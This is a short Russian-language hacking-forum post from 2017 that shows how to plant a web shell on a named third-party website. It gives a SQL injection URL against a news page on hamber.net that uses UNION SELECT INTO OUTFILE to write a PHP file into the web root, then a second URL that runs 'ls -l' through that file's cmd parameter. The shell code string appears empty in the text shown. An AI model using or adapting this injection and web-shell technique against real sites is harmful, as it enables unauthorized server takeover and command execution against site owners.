09.05.2017, 23:02
|
|
Познающий
Регистрация: 09.05.2015
Сообщений: 40
С нами:
5797046
Репутация:
17
|
|
Запись минишела через SQLi и выполнение команд на сервере.
Код:
http://www.hamber.net/News_Detail.php?SN=-1 union all select 1,2,3,'',5,6,7 into outfile '/var/www/html/xux.php' --+
http://www.hamber.net/xux.php?cmd=ls -l
|
|
|